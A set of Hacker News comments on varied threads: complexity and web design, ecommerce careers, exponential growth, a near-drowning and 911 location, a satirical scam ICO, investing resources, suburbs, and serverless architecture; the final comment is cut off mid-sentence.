<a href="https://archive.org/details/galaxymagazine-1956-07" rel="nofollow">https://archive.org/details/galaxymagazine-1956-07</a><p>That "Skills of Xanadu" story seems to have inspired many people in different ways even if they had forgotten it. It turned out it inspired a supervisor at IBM Research to go into materials science research (the nanotech aspect). He had not consciously remembered reading that story until I reminded him of it.<p>That said, Theodore Sturgeon himself probably took the name from Coleridge’s poem.<p>In answer to the question posed at the end of the Nautilus article: "Should the web remain free, flat, and open? Or would a more controlled and curated environment lead, paradoxically, to greater intellectual freedom?", I like Manuel De Landa's insight on meshworks and hierarchies when thinking about seemingly either/or design issues between fire/chaos/anarchy and ice/order/hierarchy.<p>From the conclusion of De Landa's essay "Meshwork, Hierarchy, and Interfaces": <a href="http://www.t0.or.at/delanda/meshwork.htm" rel="nofollow">http://www.t0.or.at/delanda/meshwork.htm</a>
"Indeed, one must resist the temptation to make hierarchies into villains and meshworks into heroes, not only because, as I said, they are constantly turning into one another, but because in real life we find only mixtures and hybrids, and the properties of these cannot be established through theory alone but demand concrete experimentation. Certain standardizations, say, of electric outlet designs or of data-structures traveling through the Internet, may actually turn out to promote heterogenization at another level, in terms of the appliances that may be designed around the standard outlet, or of the services that a common data-structure may make possible. On the other hand, the mere presence of increased heterogeneity is no guarantee that a better state for society has been achieved. After all, the territory occupied by former Yugoslavia is more heterogeneous now than it was ten years ago, but the lack of uniformity at one level simply hides an increase of homogeneity at the level of the warring ethnic communities. But even if we managed to promote not only heterogeneity, but diversity articulated into a meshwork, that still would not be a perfect solution. After all, meshworks grow by drift and they may drift to places where we do not want to go. The goal-directedness of hierarchies is the kind of property that we may desire to keep at least for certain institutions. Hence, demonizing centralization and glorifying decentralization as the solution to all our problems would be wrong. An open and experimental attitude towards the question of different hybrids and mixtures is what the complexity of reality itself seems to call for. To paraphrase Deleuze and Guattari, never believe that a meshwork will suffice to save us."<p>Other perspectives on how life exists at the interface between chaos and order by Patrick Grim and Hans Moravec (both people I've had the pleasure of hanging out with and learning from):<p>Patrick Grim: <a href="http://www.pgrim.org/articles/vitanew23.pdf" rel="nofollow">http://www.pgrim.org/articles/vitanew23.pdf</a><p>"Evolution of Communication in Perfect and Imperfect Worlds" (with Trina Kokalis, Ali Tafti, and
Nicholas Kilb), World Futures: The Journal of General Evolution 56 (2000), 179-197.<p>"Boom and Bust: Environmental Variability and the Emergence of Communication" (with Trina Kokalis)
Research Report #04-01, Group for Logic and Formal Semantics, SUNY at Stony Brook.<p>As Grim et al essentially points out, if things are very ordered, there is no point in communicating because nothing is unknown. If things are very disordered, there is no point in communicating because things change too fast for communications to be useful. It is in the middle ground between order and chaos where communication has the most value -- where things are indeed changing, but are changing slowly enough so that communicating about them can be of value.<p>Hans Moravec: <a href="http://www.frc.ri.cmu.edu/~hpm/project.archive/general.articles/1998/SimConEx.98.html" rel="nofollow">http://www.frc.ri.cmu.edu/~hpm/project.archive/general.artic...</a>
"No complete theory yet explains our existence and experiences, but there are hints. Tiny universes simulated in today's computers are often characterized by adjustable rules governing the interaction of neighboring regions. If the interactions are made very weak, the simulations quickly freeze to bland uniformity; if they are very strong, the simulated space may seethe intensely in a chaotic boil. Between the extremes is a narrow ``edge of chaos'' with enough action to form interesting structures, and enough peace to let them persist and interact. Often such borderline universes can contain structures that use stored information to construct other things, including perfect or imperfect copies of themselves, thus supporting Darwinian evolution of complexity. If physics itself offers a spectrum of interaction intensities, it is no surprise that we find ourselves operating at the liquid boundary of chaos, for we could not function, nor have evolved, in motionless ice nor formless fire."<p>I wrote something similar to an "Advocates and Skeptics" mailing list in 2006 (inspired by my graduate studies in Ecology&Evolution -- including hanging out with and learning from Larry Slobodkin and Lev Ginzburg) and quoted here:
<a href="https://www.pdfernhout.net/a-rant-on-financial-obesity-and-Project-Virgle.html" rel="nofollow">https://www.pdfernhout.net/a-rant-on-financial-obesity-and-P...</a> ".. I agree with the sentiment of the Einstein quote [That we should approach the universe with compassion], but that sentiment itself is only part of a larger difficult-to-easily-resolve situation. It become more the Yin/Yang or Meshwork/Hierarchy situation I see when I look out my home office window into a forest. On the surface it is a lovely scene of trees as part of a forest. Still, I try to see <i>both</i> the peaceful majesty of the trees and how these large trees are brutally shading out of existence saplings which are would-be competitors (even shading out their own children). Yet, even as big trees shade out some of their own children, they also put massive resources into creating a next generation, one of which will indeed likely someday replace them when they fall. I try to remember there is both an unseen silent chemical war going on out there where plants produce defense compounds they secrete in the soil to inhibit the growth of other plant species (or insects or fungi) as a vile act of territoriality and often expansionism, and yet also the result is a good spacing of biomass to near optimally convert sunlight to living matter and resist and recover from wind and ice damage. I try to recall that there is the most brutal of competition between species of plants and animals and fungi and so on over water, nutrients (including from eating other creatures), sunlight, and space, while at the same time each bacterial colony or multicellular organism (like a large Pine tree) is a marvel of cooperation towards some implicitly shared purpose. I see the awesome result of both simplicity and complexity in the organizational structure of all these organisms and their DNA, RNA, and so on, adapted so well in most cases to the current state of such a complex web of being. Yet I can only guess the tiniest fraction of what suffering that selective shaping through variation and selection must have entailed for untold numbers of creatures over billions of years. To be truthful, I can actually <i>really</i> see none of that right now as it is dark outside this early near Winter Solstice time (and an icy rain is falling) beyond perhaps a silhouette outline, so I must remember and imagine it, perhaps as Einstein suggests as an "optical delusion of [my] consciousness". :-)"<p>My wife has her own "Confluence Framework" take on all this too: <a href="http://www.storycoloredglasses.com/p/confluence-sensemaking-framework.html" rel="nofollow">http://www.storycoloredglasses.com/p/confluence-sensemaking-...</a><p>No doubt other have though similar things. I'm wondering how far back that idea goes of life (or thought) existing at the boundary between order and chaos? Certainly it is present in the Yin/Yang ideas of Chinese Philosophy: <a href="https://en.wikipedia.org/wiki/Yin_and_yang" rel="nofollow">https://en.wikipedia.org/wiki/Yin_and_yang</a><p>And my wife lists over twenty frameworks at the end of her Confluence Framework essay.<p>So given all that, it is no surprise that we may have to think about good design for the internet as embracing all of meshwork, hierarchy, and interfaces as Manuel De Landa's essay suggests. |
Ask HN: How do I find a meaningful software engineering job? | Try ecommerce. Build online shops for businesses that would otherwise go out of business. Enable them to trade nationally and internationally. Put the customer first and put in place excellent procedures and systems for customer service. Solve real world problems such as excess inventory, waste and getting products to market first.<p>This isn't to put shop assistants out of a job, get the website right and people will 'Google first' before stepping in store.<p>Ecommerce has only just got going and I got into it after my niche skills in realtime 3D meant that I only had options in military or computer games. I threw out all that good stuff I knew and started over, ecommerce being my choice as I liked retail as a kid and did a fine job of selling bicycles as a Saturday job. I figured that the 30 mins+ spent advising a customer in store could be better spent advising many more customers online. Also, nations that trade don't tend to go to war with each other and being able to trade is what enabled us to survive the ice ages that finished off the Neanderthals.<p>You can be picky with who you build websites for, you don't have to be selling widgets for the fracking industry, you can help sell bicycles instead. It is that simple.<p>The problems in ecommerce are not difficult. However, solving simple problems in ecommerce can have real world benefits. Much to my embarrassment at the time I once helped build a website for a fabric shop - yep, bits of cloth for women who make dresses and what not. Not really my bag. However, they now have no problems with staying solvent, the shop is doing very well and the new ecommerce department has grown to take on many members of staff.<p>One thing we did for this fabric shop ('we' I mean 'me' in this instance) is that we made it so end of roll fabric, e.g. when there is only 0.5m left, automatically went into the special section of the store called remnants. There you had to buy the whole remnant albeit with a 10% off incentive. Not only did this simple bit of code result in actually shifting the left-over-cruft, it also meant that we had a 'sticky' page, so customers would check in regularly just to see what was in the remnant section. Once they added that 0.5m scrap to their basket they might also buy some other stuff - lining, all the other bits of trim etc. Consequently what was once a loss making aspect of their business became a winner.<p>I did have to fix a few things on the customer orders - VAT going wrong and such like, however, in so doing I was quite surprised at how international the reach was. I also noticed that the Nigerian fabrics that had been 'hoarded' over the years by the owner were top sellers. Before they had just piled up in a back room, nobody knowing they were there. But online the demand that was never imagined was realised.<p>Most customers were essentially 'makers' and before they were not 'making'. With our efforts we enabled lots of people in lots of small towns to do things they were not able to do before. We also sold at a premium, there was no ambition to put every competitor out of business, however the result was a range of fabrics that small town shops would not be able to stock in such depth.<p>If you look at other aspects such as CO2, the online shopping meant that customers did not have to drive to the big city and back again to get bits and pieces. They could get on with what they were doing and order online without the travel. Being vegetarian I do have opinions on silk, leather, fur and whatever chemicals are used to process cotton, but on the website we were able to help people who had similar concerns with 'you may also like' suggestions. A great amount of colour theory was needed to auto-populate those things and that was fun to do.<p>I was almost ashamed to admit I was working on some poxy fabric shop at the time but looking back on it now I am quite pleased by what was accomplished. I know real jobs exist thanks to our efforts and the business is definitely viable in these times when the big names on the High Street are having a hard time of it. none of the software engineering was 'SpaceX grade' but the clients were lovely to work with and what we did for them was 'SpaceX grade' for their industry.<p>I would be here for quite a while if I was to write up all of the other case studies, but I think you get the idea. Ecommerce might not sound meaningful in the way that working for a save-the-world NGO might be, however, 'trade not aid' is meaningful. Think of the Neanderthals and what makes us humans special. |
Humans grow linearly, companies grow exponentially – interview with Khalid Halim | Following links in the OP to<p><a href="http://firstround.com/review/hypergrowth-and-the-law-of-startup-physics/" rel="nofollow">http://firstround.com/review/hypergrowth-and-the-law-of-star...</a><p>see in part and relevant to the title of this thread<p>> “Human beings grow biologically and linearly. A year from now, you will be a year older — there's no growth hacking we can do to make that happen faster. Even if we were looking at the metrics of ‘you’—the age of your bones, your height, everything — you're not going to grow exponentially. You're going to grow linearly because all biological systems do that,” says Halim. “A company, which is a collection of biological systems called humans, can grow exponentially. Especially in tech, companies exist in a world in which you can be serving 100 customers one day, and a million a year later.”<p>Want to find the root of a function? Under mild assumptions, Newton iteration gives accuracy that improves as an exponential function of the number of iterations. This situation is especially well known and easy to see for finding square roots.<p>I will make an argument the other way around, that it's humans who can grow exponentially (for a while) and companies grow at best linearly!!<p>Okay, the first example is Leo Szilard walking across a street and then soaking in a bathtub: He thought, one neutron hits one uranium nucleus which emits two neutrons, ..., four neutrons ... and after positive integer n such <i>generations</i> we have 2^n neutrons emitted. So, that was exponential growth, all from just Leo walking and later soaking in a bath tub.<p>Then for an organization, at Oak Ridge the were getting about, what was it, 10 grams a day of separated uranium. So, for 100 grams a day, have 10 times more working units, that is, linear growth.<p>Then when it appeared that maybe one approach to uranium enrichment might not work, try three. Linear growth.<p>When it appeared that uranium might be too tough to get, try plutonium. Work with two elements instead of just one, double the number of elements, people, facilities, money, results, etc. and get two paths to success instead of one. All linear.<p>Then Edward Teller had another <i>exponential</i> idea: Let the X-rays from fission squeeze deuterium for another essentially exponential growth rate.<p>For another example, Alan Guth wanted to do something so dreamed up the big bang, where exponential growth seems even an understatement. So, Guth had exponential growth.<p>Since then various organizations have gotten data that confirm what Guth thought, and the growth of those organizations have been essentially linear, that is, twice as much money, people, time yield twice as many new results, e.g., the 3 K background radiation and accelerating growth of the universe.<p>For more, for the traveling salesman problem in Euclidean spaces, R. Karp had an idea -- on problems with positive integer n cities, for any probability p < 1, and for any epsilon > 0, a simple application of minimum spanning trees will as n grows, with probability greater than p get feasible solutions within epsilon percent of optimality. So, as n grows, the number of traveling salesman tours grows exponentially, really n! (use Sterling's approximation to get an exponential), and Karp's idea was <i>exponentially</i> powerful, that is, the minimum spanning tree effort grows only as a polynomial in n but <i>beats</i> the exponential challenge of the problem.<p>For another, linear programming commonly has the number of feasible region extreme points growing exponentially with problem size, but the polynomial algorithms can find the possibly unique extreme point in only polynomial time. If divide by the polynomial, then get linear effort, and the exponential number of extreme points divided by the polynomial is still exponential. So, the polynomial algorithm idea, one of them from the head of just one person, was exponentially powerful.<p>For another example, Moore's law, so far still exponential but from the brains of mostly just a few people and brought to market by essentially linear time, money, people, etc. Want twice as many chips? Okay, that linear; build two fabs instead of one and get twice as many chips -- linear.<p>For another, Alexander Fleming looked at some bread mold and how it fought off some bacteria. Presto, bingo, he had penicillin that saved <i>exponentially</i> many lives.<p>There are lots of other examples where people <i>grew</i> by having <i>exponentially</i> powerful ideas while organizations were limited by twice as much in people, time, and money gives at best, twice as much revenue, maybe less due to the quadratic growth of the overhead of internal communications as the number of people in the organization grows.<p>Net, the big stuff, the stuff with exponential power, is from people, commonly one or at most only a few people, where a company to exploit the exponentially powerful work grows only linearly, that is, twice as many people, etc. in the company result in twice as many customers served. |
Apple sets up iPhones to relay location for 911 calls | It was a holiday weekend nearly two years ago. I decided to take my family into the downtown area about an hour from our home to get away for a bit.<p>I have a large family and hotel pools are always a draw. After an hour or two at the pool, the kids started getting out and toweling off. Our three-year-old took his life jacket off to to dry himself and my wife and I started gathering our things. Some of the kids were still in the hot tub so we weren’t exactly in a rush.<p>After what felt like a very short period of time, my wife says “Where’s Zach?” in that motherly-urgent tone. Just as my eyes focused on the pool, I heard a shriek from my wife unlike anything I’ve ever heard in my life. There is our three-year-old boy, face down in the pool, absolutely still.<p>I jumped in the pool and pulled him into my arms and set him on the deck on the opposite side of the pool. To this day I have no idea how I climbed out of that pool with him in my arms but I was in and out of that pool seconds. As I looked down at him - he was this awful, unnatural color and I knew we were in a very serious situation.<p>I’m not a trained medical professional. Like most, I’ve had training on how to handle various emergency situations here and there, but nothing extensive. As I looked down at my still and lifeless son, I realized that the decisions I made in the next minute may be the difference between life and death. And I didn’t really know what I was doing.<p>I’ve been in stressful situations before, but nothing like this. It was as if I was plucked from reality and placed into some type of metaphysical reality. I don’t know how to describe it. In some ways, I became incredibly focused. In other ways, I was completely dazed and confused.<p>A couple things came to mind. 1) Call 911. 2) Administer CPR. I yelled out to my oldest teenage daughter to call 911. I told her to call from the hotel phone. Again - in this moment my thoughts were very scattered but I remember thinking that would be the most certain way to relay our location automatically. I had no idea the address or even the street we were on. At that moment I sincerely couldn’t say for certain if we were at the Hyatt, Hilton, Holiday or Hampton. If it was the Hyatt was it the Grand Hyatt, Hyatt Place or just the regular Hyatt? In my mind at least this though was clear: call from a land line and tell them to come and they will come even if you can’t tell them where you are.<p>I began to administer CPR to my son. Was it breaths or then compressions, or the other way around? How many breaths? How many compressions? How long to I wait to see if he’s got a pulse? The adrenaline is so high there was no way I’d be able to distinguish a pulse with my shaking hands. I gave a couple breaths and started compressions. He was absolutely still. I hoped for the Hollywood-like water puke, cough. I got nothing. Repeat breaths, compressions. Nothing. Repeat. Nothing.<p>I don’t know how much time had passed, but it felt like an eternity. Why wasn’t he responding to my actions?? Desperation quickly settled in - I don’t know what I’m doing and he will probably die because of it. More than ever I felt a desperate need of help.<p>I look up and see my daughter scrambling around, still in the pool area. My wife is next to me, trying to help me administer. I scream out to my daughter in absolute desperation “you have to call 911 NOW!” My attention goes back to my son. Breaths. Compressions. Anything? No. Repeat.<p>The scene around me was absolute mayhem. My other children, of various ages, were letting out blood curdling screams and moans. Whenever I bring myself back to the moment, it brings tears to my eyes. The kids didn’t know exactly what was happening, but they knew this was very, very bad.<p>The daughter I had instructed to call 911 is very calculated, precise and responsible. I had told her to call 911 from a hotel phone because it was my thought that it was the best (only?) way to reliably provide our location to the responders. She was trying to do exactly that. But the problem was she was locked out of the hotel. She was fumbling through our towels and bags looking for the key card to her her back into the building. She couldn’t find it. It turns out it was in a very natural and obvious spot - my pocket - but in a moment like that, simple things are not always clear. I don’t realize it was in my pocket. She thought it was with our stuff and was digging to find it. In hindsight, I should have told her to call from her cell phone while looking for a hotel phone.<p>I’m desperate. Help is not coming. What I’m doing doesn’t seem to be doing anything. Every tick of the clock the situation is getting worse. Tunnel vision was setting in. I cannot property articulate the feeing of absolute terror and paralysis that was setting in. “This is actually happening.”<p>I don’t remember how, but eventually the key issue was resolved and my daughter got into the hotel and began her sprint to the front desk. She was met by the staff part way there. “911 is on the way”, they said. What? Why? We never called.<p>It turns out, an off duty airline pilot was summoned to the window of his room due to the screaming below. Observing the situation, he summoned help. Around the same time, a nurse was checking into the hotel and had been told her room was not ready. She later told me she was frustrated and decided to take a walk. She passed by the pool area and came to our attention and started helping while the ambulance was making its way to us. At his point, I heard a faint - oh so faint - whimper from my son. Details are fuzzy to me at this point, but 911 arrived and whisked him off to the nearby children’s hospital.<p>We spent a couple of days at the hospital. He made a full recovery and we were sent home with much gratitude, forever changed by the situation. I know these stories like this so often do not have a happy ending, and I am so, so sorry for the families and loved ones of those who experience other outcomes.<p>A few thoughts that came to my mind after this experience.<p>- A mobile phone has the ability to relay location very reliably, and more precisely than a phone registered to an address. A hotel is a big building - sure they might have guessed we were by the pool, but do the first responders know where in a massive hotel the pool is? Seconds matter. It sure would have been nice to know that all I had to do is call 911 from my mobile phone and say “please come” and they could respond with “we are on our way”.
- I thought it would be helpful to have a 100% offline-capable, blazing fast, dead simple app with common emergency situations and what basic steps to take. In the state I was in, I’m not sure I would have thought to go to an app. But perhaps a bystander with such an app, even untrained, could use such an app to help coach a situation.
- Why on earth was there no phone outside by the hotel pool? You won’t be surprised to know this particular hotel solved that problem.
- This all unfolded within our “field of vision”. Our backs were not turned when our son went in the water. But we were focused on gathering our stuff, chatting with each other and just weren’t paying attention. We are different at pools now.
- I’ve wondered if some type of device could be strapped to a toddler’s head that would sound off a close-by alarm if submerged for more than x seconds or of the device was removed. It would have to avoid going off with common splashes and quick dunks in the water. As I’ve carefully observed since, the forehead seems like a logical position for such a sensor. Little ones don’t go in below their forehead often for much longer than a few seconds, and in a drowning situation the forehead is always submerged. I fear that such a device, however, would provide aflame sense of security and perhaps would encourage worse supervision.<p>I am very much looking forward to the day when I can be confident my mobile phone can relay my precise location to emergency responders. |
Valuing ICOs from fundamentals – ideas? | This is really complicated.<p>Let's say that I decide to run an ICO. I don't know what the hell I'm doing, but I hear all these people making huge money and moving to islands that won't extradite me back home to face charges. So, I clone Litecoin, fire up an editor and GregCoin is born.<p>GregCoin is a utility coin. You see, I'm really good at telling people to fuck off in eloquent ways. In fact, I'm world class. My token grants the bearer the significant privilege of being told to fuck off in an eloquent way.<p>ICOs are completely unregulated, so I don't have an underwriter to make sure that everything is on the up and up. And that's good because seriously, if I wrote you a cheque, there's a very real danger that it would bounce so high it would make a skylight where there was no skylight before. But you don't know that - nobody knows that so it isn't relevant.<p>Good ICOs are transparent, so I'm very transparent. I have accounting statements but they're not completed with GAAP/IFRS so you can't compare them to any other ICO. This is also something that would make an underwriter run away, but fuck underwriters! We need a completely unregulated store of value because financial regulators treat us like we're all stupid. Besides, my whole business model revolves around nobody discovering that I'm full of shit. It would be really hard to do that if the numbers were true. To The Moon!<p>Nobody knows who I am and GregCoin is really really stupid. Is being told to fuck off in an eloquent way a sustainable basis for a currency? But, holy fuck, since Bitcoin, there are many people out there who want to brag about 1000x returns. So, it likely doesn't really matter if my token is stupid and provides no real utility. All I need to do is show that there is a lot of demand so all you need to do is get in on the Very Exclusive ICO, watch GregCoin go To The Moon and sell when it hits $5,000.<p>I need to look more legit than I am, but thankfully, that's not too hard. I buy 25,000 Twitter followers, hire a very good designer to build out my website and hire a small army of ghost writers to make me look smrt.<p>Then, I hire a small army of influencers, some real, some imagined. For some, I plead to their ego. You're a genius crypto analyst and I've been reading your analysis for ages. Can I hire you as an advisor in exchange for x tokens? Please, oh great crypto genius? For others, I hop onto Fiverr and buy spammers. Who cares? I just have to show demand, not intelligent life.<p>Now that I've paid, demand is hopping, so I do a special pre-sale to reward my earliest adopters. The ICO was going to be 1.5 million tokens at $5 USD each, but my special early adopters have done such an amazing job building an amazing community and creating something revolutionary that I want to put some tokens out asap. So, I decide to release 250,000 @ $2.5. This means you get an instant 100 percent return when the real ICO happens! Double your money, guaranteed.<p>Those 250k token sell quickly. I run the exchange they're sold on, so I get money for tokens, plus service fees but you don't know that. Also, you technically don't know if any of those tokens even sold for actual cash money because, again, I run the exchange (through a complicated series of shell corporations) and its customers' privacy is very important because of GDPR.<p>Turns out that the exchange is a colossal piece of shit. There is a key in localStorage called 'role' and if you change that value to 'admin', you can access everything. But my customers don't know that. I don't even know that. Hell, I paid my developers $250 on upwork. For that kind of money, they should know how to build secure applications. Ironically, the criminals who discover that are the most ethical administrators on the entire exchange, but if they got caught, there's a real possibility they'd serve more time than me if I got caught.<p>Then, three weeks before the ICO, I clone Litecoin again and GTcoin is born. GTcoin provides a wonderful compliment to GregCoin. GTcoin grants the bearer the privilege of being told he/she is a financially illiterate shithead.<p>Since they're complimentary tokens, I give out two GTcoins for every GregCoin. My early adopters go wild. Not only did they get pre-ICO action that guarantees they'll double their money, but they got two free tokens that are going To The Moon for every one GregCoin they have. That's gotta count as a 250% return. Does Warren Buffett get 250% returns in two weeks? No, he's a tool of the corrupt, hyper-regulated system. Only my genius investors saw the opportunity and got in early.<p>Now, I don't even need to pay people to promote my shit. My early adopters are so eager to show how smrt they are that they blow up their Twitter/Facebook feeds with news about the ICO. To the fucking moon!!<p>Then, my ICO hits. I take the money, move to Wontextraditemeistan, and do copious amounts of cocaine with hookers until I die of syphillis. The tokens are fucking worthless because the utility is provided by an empty shell of lies. There may have never been any real demand at all, or maybe the coin trades, and early investors find greater fools to take them to the moon. Who knows and frankly, who cares? My tokens did what they set out to do. Anyone who still owns them has been told to fuck off in an eloquent way and they are financially illiterate shitheads.<p>-----<p>Now, imagine that I'm running the same ICO, but this time I'm honest. My token provides real utility and I know what I'm doing. My financials are solid. My organization is solid. This ICO is legitimate.<p>Would anyone even know that second ICO exists? What kind of detective work would it take to unearth that ICO #1 is bullshit? How well does that even scale?<p>That's a beautiful thing about regulation. At least with public companies, I can read their audited financials and compare competitors because they were prepared with the same rules. And, I can trust that the exchanges give every investor relatively fair access to market data.<p>If you're looking to value an ICO, I think the first step has to be to vet the team and all its claims about both past and future. But, realistically, if you do that five years ago, would you buy Bitcoin?? |
Ask HN: What are some good resources to learn how to invest and build wealth? | As someone in the financial industry, I can throw out a few suggestions. These vary substantially depending on your level of interest, time, and risk-tolerance. I am not a financial advisor, nor should you consider any of this professional investment advice. I know your question is geared toward resource and learning. I will address that, but I'll also include the easier options if you decide to just say screw it and go the simple route. That being said...<p>You could go the low risk, low-cost, near-zero time method of using index funds. For full disclosure, this is the area of the industry I am involved with. You can either choose the funds yourself or you can get someone to provide you some suggestions. There are advisors out there who specialize in tactical weighting of a defined set of index funds (i.e. the funds you have available in your 401k for example). They vary the weights usually on a quarterly basis on a set of criteria that is proprietary to them. This tactical weighting can outperform the market if they know what they are doing. They will, however, charge the standard advisory fee for this.<p>You could just hand over the reigns to an advisor after speaking to one your are comfortable with. they'll charge their standard rate and if they are halfway decent they will match your investments to your risk profile/tolerance. Be wary, though, as many may just shovel you into a default set of index funds. If you pay an advisor you need to be sure they actually add some sort of value and that they adhere to fiduciary standards (not "suitability" standards)<p>if you actually want to focus on individual stocks, please please please at least learn the absolute basics about fundamental ratios and how to look at a balance sheet or cash flow statement. Or actually know the company you are investing in. There are many books out there. The gold standard about value investing is Ben Graham's famous Intelligent Investor.<p>real estate is a fairly tried and true method. investment properties produce reliable cash flow. there are property management companies out there that will charge usually around 10% of the rent to keep your place rented and handle the landlord duties.<p>you could also focus on a stock market strategy geared toward passive income. something like a covered call strategy. that is a strategy commonly used in a sideways market or a market not strongly trending in either direction to produce cash flow by owning the stock and issuing/writing a call against it where you collect the premium. A few books I have read that offer some good intro to the basics of options strategies (and a few slightly more advanced methods) are the followings ASINs on Amazon - B014C59R9S, B01EPJC2T8, B0165YDUSS, and B00YBIK9P8. They're short and very straightforward to help understand the basics and also generate some ideas for yourself. They're only like $3 a piece, too.<p>moving up the ladder of education and effort - you could pay for training courses for a site like WallStreet Mojo. I happen to have purchased all their stuff in a recent sale they had (like 85%+ off), which they have from time to time. They also have some free stuff for you to check out. It looks like they are running a special right now on the premium courses. Not sure how long that is in force. <a href="https://www.wallstreetmojo.com/courses/" rel="nofollow">https://www.wallstreetmojo.com/courses/</a> They have courses targeted for investment banking, CFA, financial modeling, etc. Their courses include videos and downloadable Excel templates/examples to learn with. It's time consuming, but if you are actually interested in how the financial analysts and investment bankers perform valuations then it's a pretty solid tool/resource. Their CFA courses are obviously geared toward the CFA exam, but the knowledge is the same and can be applied in any way you choose. You would be able to skip the compliance and ethics portions and just focus on the rest. this information combines to form a much more in depth valuation toolbox and you could theoretically choose stocks with success using careful analysis, or perhaps create fund-style strategy to spread out the risk of your personal portfolio.<p>you could also purchase an existing business that is for sale. they are plenty of sites dedicated to these sales. if you find something you like, get an attorney who knows about these transactions. this basically is a sort of turn-key solution that provides relatively predictable cash flow. but it's not quite turn-key as businesses require work and you already own/run one. if you decide to go this route, i would suggest making sure the cash flow has enough wiggle room to hire someone to replace your own involvement, as you likely won't have the time to run it yourself. |
The myth of revealed preference for suburbs | There are several severe issues with the study.<p>The first is confusing want with what you're culturally conditioned to say based on style of question. We don't know how the questions were led or if they attempted to be neutral, they made a huge logical leap from asking people what they want to declaring thats what they actually want, real world doesn't work that way. We know from prior propaganda issues that people can be led to claim almost anything, when questioned correctly to lead to it. Its a universal part of human existence that what people are socialized to say to get along, generally has nothing to do with what they'll actually want (or do) in private or semi-private, which also generally has nothing to do with whats best for them (and good luck finding a fair and unbiased judge of whats best for them, LOL). The study actually abstracts to "I know from intensive propaganda my whole life that a good person would say they want X, therefore I'll say I want X, but I actually want and will execute plan Y". What could be more pithy than "do as I say not as I do?" The study doesn't even scratch the surface of "what should they do" which is a totally orthogonal third dimension. The study is willfully and intentionally ignoring a major component of human psychology to push a propaganda point; this really does not look good at all.<p>To help non USA people, there's a large aspect of group affinity and identification going on. Essentially a non-metaphysical religion, complete with proselytizers and those who define whats holy and who is or is not. So for the "new urbanists" for over half a century, fervent belief in returning to the cities after white flight from the 60s race riots is the definition of what a good person is, in a simplistic 1 to 1 mapping. Trying to argue rational logic merely strengthens their beliefs, like trying to reason about fossil records with a creationist Christian. If your worldview is defining being a good person as holding a set of beliefs X, Y, Z, regardless if those are good or terrible ideas, then someone trying the atheistic rational argument against those beliefs "just think about it", well, a good person would NOT think about it, they would believe, wouldn't they? That type of argument will just strengthen the belief set; look here is a bad person who is defined as bad by not having matching beliefs, being bad by making sacrilegious statements, why look how great my beliefs must be? People who don't understand this try to interact with urbanists on a rational level which certainly doesn't work. No Christian ever lost their faith by a pagan nostalgia along the lines of "My childhood as a pagan was not so bad, I don't understand the hate". Likewise its a waste of time to tell an urbanist that suburbs are not that bad why all the propaganda. You'd have better luck trying to convert a Christian Fundamentalist by telling them that Satan guy gets a lot of bad press but he's not all bad all. Trying to talk a urbanist out of the city is literally on a psychological level like trying to talk a devoted missionary out of going on a mission. It is the same thought process. Please don't waste everyone's time trying to convert them, merely wish them well on their pilgrimage and hope they survive, etc.<p>Everyone on both sides should understand and accept the group affinity issue. There is absolutely no moral, ethical, medical, technological, or rational argument that black tennis shoes are worse or better than white tennis shoes. None the less, the cool kids have proclaimed one or the other is cool this year and the only choice you have in the issue, the only reason for discussing it anywhere including here on HN, is to declare your group affinity with the cool kids for todays fad, or try to be that cool apostate rebelling against "the man", or just be confused about the social dynamics of the whole thing and make the huge mistake of thinking the discussion is actually about sneakers or ethics or anything other than declaring your allegiance or opposition or cluelessness. Are tattoos rebellious or conformist today? Well, fundamentally they're neither, they're art ink on skin. If the argument is about enforcement of conformity, such as devout belief in new urbanism, don't get in weird side arguments about tattoo ink toxicity or stretch marks, thats totally not the point of the discussion. This incredibly boring topic boils down to are you an new urbanist conformist or a rebellious suburbanite, and the only thing that matters is the conformity or rebellion. Forest for the trees and all that.<p>If you can't tell I think "new urbanist" stories are pointless and should probably be globally banned on HN, they're just trash, fibrous filler, the low formaldehyde particle board of furniture, as a discussion topic, but others disagree, sometimes with strong arguments that I admit may be strong but none the less disagree with. So the article is this weeks two minutes hate on the burbs, oh well, whatevs. |
Ask HN: Have you shipped anything serious with a “serverless” architecture? | So, you've kinda mixed a few things here including: "Cloud functions", "Cloud Streams" and "Cloud databases" [1].<p>I've shipped significant work on all 3 now, with the least focus on the newest bit (cloud functions). Since you asked, here are my opinions:<p># Cloud Databases<p>These are almost always a slam dunk unless you or someone else on your team has a deep understanding of MySQL or Postgres [2]. They often have unique interfaces with different constraints, but you can work around these constraints and the freedom to scale these products quickly and not worry as much about maintenance can be an enormous boon for a small team. This is fundamentally different from something like AWS RDS, where you do in fact sort of "have a server" and "configure that server". These other services have distribution build into their protocol.<p>Of the modern selection, DynamoDB and Firebase come to mind as particularly useful and spectacular products for key value and graph stores (DynamoDB is surprisingly good at it!). If you're using GCE, Spanner is some kind of powerful sorceros storm that does your bidding if you pay Google, it's really surreal the problems it can just magically solve (it's the sort of thing where it's so good your success with it disappears until you have to replicate it elsewhere and realize how much your code relied on it).<p># Cloud Streams<p>I've been using these nonstop for about 6 years now, with most time logged on SQS. For some reason a lot of people object to streaming architecture on grounds of backpressure [3], or "want to run their own because of performance" and end up hooking zookeeper and Kafka into their infrastructure.<p>For small products or growing products, You Will Almost Certainly Not Overload SQS or Kinesis. You Just Won't Unless You're Twitter or Segment. Write your system such that you can swap streaming backends, and be prepared to solve obnoxious replay problems moving to a faster and less helpful queue.<p>Lots of folks are convinced they need to run their own RabbitMQ service so that they "can see what's going on." Given how incredibly reliable SQS has been for me since its introduction, I'm disinclined to believe that. While RabbitMQ is a fine product, I'd rather just huck stuff on SQS, obey sound design principles, and then only transition to faster queues ones.<p># Cloud Functions (Cλ)<p>Firstly, these solutions work fine. I've only shipped on Lambda, and I will say I was underwhelmed. There are two reasons for this: cost and options. Cloud Functions with API Gateway is just about the most expensive way you can serve an API in the world of CSPs right now. The hidden requests costs are (or were when I set this up, shipped then tore it down looking in horror at my spend) just stupid. As for Options, it's very obnoxious how these environments (GAE, Lambda, etc) can only bless specific environments rather than giving us a specification over I/O or shm we could bind to. I want to ship Haskell in some cases and it's stupid what I have to do to enable that [4].<p>Much has been said about how spaghetti-like these solutions are, but I think this is more of a tooling issue. If you can actually specify Cλ endpoints in a single file, then you can write a uni-repo for a family of endpoints that share common libraries, build for those, and terraform/script them into deployment. This is actually probably <i>more</i> principled than how most folks cram endpoints into a single fat binary. It also makes things like partial rollouts on an API a heck of a lot more easy to implement.<p>But still, out of the trinity of CSP products, Cλ is by far the least exciting to me. I seldom ship API endpoints there. I 